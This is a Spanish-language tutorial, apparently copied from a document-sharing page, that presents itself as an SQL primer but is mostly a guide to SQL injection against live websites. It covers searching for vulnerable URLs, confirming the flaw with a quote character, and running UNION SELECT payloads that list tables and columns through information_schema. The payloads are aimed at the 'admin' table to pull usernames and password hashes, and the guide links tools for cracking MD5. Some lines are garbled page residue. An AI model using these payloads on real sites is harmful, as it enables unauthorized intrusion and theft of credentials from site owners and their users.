Documentos de Académico
Documentos de Profesional
Documentos de Cultura
SQL para Principiantes
SQL para Principiantes
¿Qué es SQL?
Significa un Lenguaje de Consulta Estructurado (en ingles Structured Query Languaje). Como su
nombre lo indica es un lenguaje para tener acceso a una Base de Datos que nos permite realizar varias
operaciones en ella, como poder guardar información privada de un sitio web, contraseñas, nombres, y
otras cosas.
Sin embargo, muchos CMS Sistema de Gestión de Contenidos (en ingles Content Management
System) utilizan SQL para acceder a una Base de Datos (PhpMyAdmin) y guardar información.
CMS (Sistema de Gestión de Contenidos) no es ningún tipo de programa literalmente, sin embargo,
es programado para que los usuarios tengan la facilidad de crear su pagina web utilizando una base de
datos.
Algunos CMS son muy populares como lo son; SMF, Wordpress, y Blogger entre otros.
Debido que es un post para principiantes y un poco largo, no iré muy a fondo sobre los conceptos, por
eso mejor aquí la dejamos y vamos al tutorial.
Logotipo de Google
Solo es cuestión de ingeniarse las palabras claves para encontrar sitios Web con este bug.
¿No entendiste? La Inyección SQL se empieza por encontrar en una url muy parecido a
esto: /index.php?id=28, sin embargo, la inyección se comienza en la variable id=28.
2) También podemos utilizar la barra lateral Izquierda para encontrar más sitios vulnerables.
Explicación resumida:
Tenemos la siguiente página como ejemplo http://www.asfasd.com/index.php?cat=45
Agregamos una comilla al final de la url http://www.asfasd.com/index.php?cat=45'
Nos muestra el siguiente error You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near ''' at line
1
Explotando el Bug
Segunda fase
Viene la parte un poco más tediosa.
Pero antes de llegar a esta parte necesitamos entender dos conceptos:
UNION se usa para combinar el resultado de un número de comandos
SELECT en un conjunto de resultados.
Fuente | http://dev.mysql.com/doc/refman/5.0/es/union.html
Ahora ya habíamos visto que nos lanzo un error anteriormente y que si era vulnerable, ahora es tiempo
de buscar hasta encontrar la columna vulnerable.
Un ejemplo sencillo de como empezar la inyección tenemos lo siguiente /index.php?cat=45 ahora
antes de la variable (45) y después del signo (=) agregaremos el signo de menos (-) deberá quedar así:
/articulo.php?articulo=-230 y agregamos el union y select y empezamos a
partir del numero 1 o el numero 0.
/articulo.php?articulo=-230+union+select+1-- (Muy importante poner los
dos últimos guiones).
/articulo.php?articulo=-230+union+select+1,2,3-- (Es importante poner la
coma entre cada numero)
Seguiremos así, hasta que no nos vuelva salir error como el anterior
Tercera fase
Sacando nombre de las Tablas
Desde la barra de direcciones remplazamos el numero 2 por group_concat(table_name) debe quedar
algo así:
/articulo.php?articulo=-
230+union+select+1,group_concat(table_name),3,4,5+from+information_s
chema.tables--
También es importante agregar el +from+information_schema.tables-- al final, después ingresamos
esa url y nos da como resultado todos los nombres de las tablas que existen en la Base de dados.
Ejemplo real:
Un ejemplo sencillo:
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit
+10,1--
La tabla es KEY_COLUMN_USAGE (No es la que buscamos)
Seguimos aumentando de 10 en 10:
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit
+20,1--
La tabla es SESSION_VARIABLES (No es la que buscamos)
Seguimos intentado..
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit
+30,1--,1--
La tabla es cotizaciones (No es la que buscamos, pero estamos un poco cerca..)
Y así, hasta dar con el nombre de la tabla uno que diga: admin, administrador, usuarios, users,
usuaris, etc.. (Puede variar los nombres de las tablas y columnas por el idioma)
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit
+38,1--
La tabla es admin (¡¡ Bingo, es la que buscamos !!)
Una ves que tengamos el nombre de la tabla que queremos y es en este caso admin vamos a convertirla
en ASCII les dejo la herramienta online para el conversor de String a ASCII
| http://easycalculation.com/ascii-hex.php
admin = 97 100 109 105 110
Como ven, la cadena admin esta en ASCII.
Ahora modificamos nuestra url algo que quede así (incluyendo admin, pero convertida en ASCII):
Nota | Lo marcado en negritas es lo que modifico la url anterior.
/articulo.php?articulo=-
230+union+select+1,group_concat(column_name),3,4,5+from+information_
schema.columns+where+table_name=char(97,100,109,105,110)--
Como resultado nos tendrá que imprimir los nombres de las columnas, por ejemplo:
email, contrasena, usuario, pwd
Un ejemplo real es este:
Extracción de columnas
Otra alternativa pero utilizando la misma opción es utilizando el limit lo cuál solo nos imprimirá el
rango de la columna que le indiquemos.
Ejemplo:
/articulo.php?articulo=-
230+union+select+1,column_name,3,4,5+from+information_schema.columns
+where+table_name=char(97,100,109,105,110)+limit+0,1--
SQL Injection
: = 0x3a (Hexadecimal)
usuario = Columna
pwd = Columna
admin = Tabla
La contraseña esta encriptada en MD5 Hash
Es lo peor que viene en este caso al no poder ver la contraseña real cuando esta encriptada en MD5
Hash.
Pero gracias a que existen herramientas y diccionarios para crackear MD5 las contraseñas se pueden
desencriptar.
Pero hay que tener muy en cuenta que no todos los Hash son MD5 puede variar el tipo de Hash por la
seguridad del CMS, hay contraseñas encriptadas en SHA-1, MD4, Base64, etc.. Son muy diferentes al
MD5.
Pero les dejo una lista para que puedan diferenciar el tipo de Hash
| http://www.insidepro.com/hashes.php también una herramienta en PHP para crackear Hash MD5
Online, tienen que subirlo a un FTP.
Herramienta crack MD5 Hash online mult.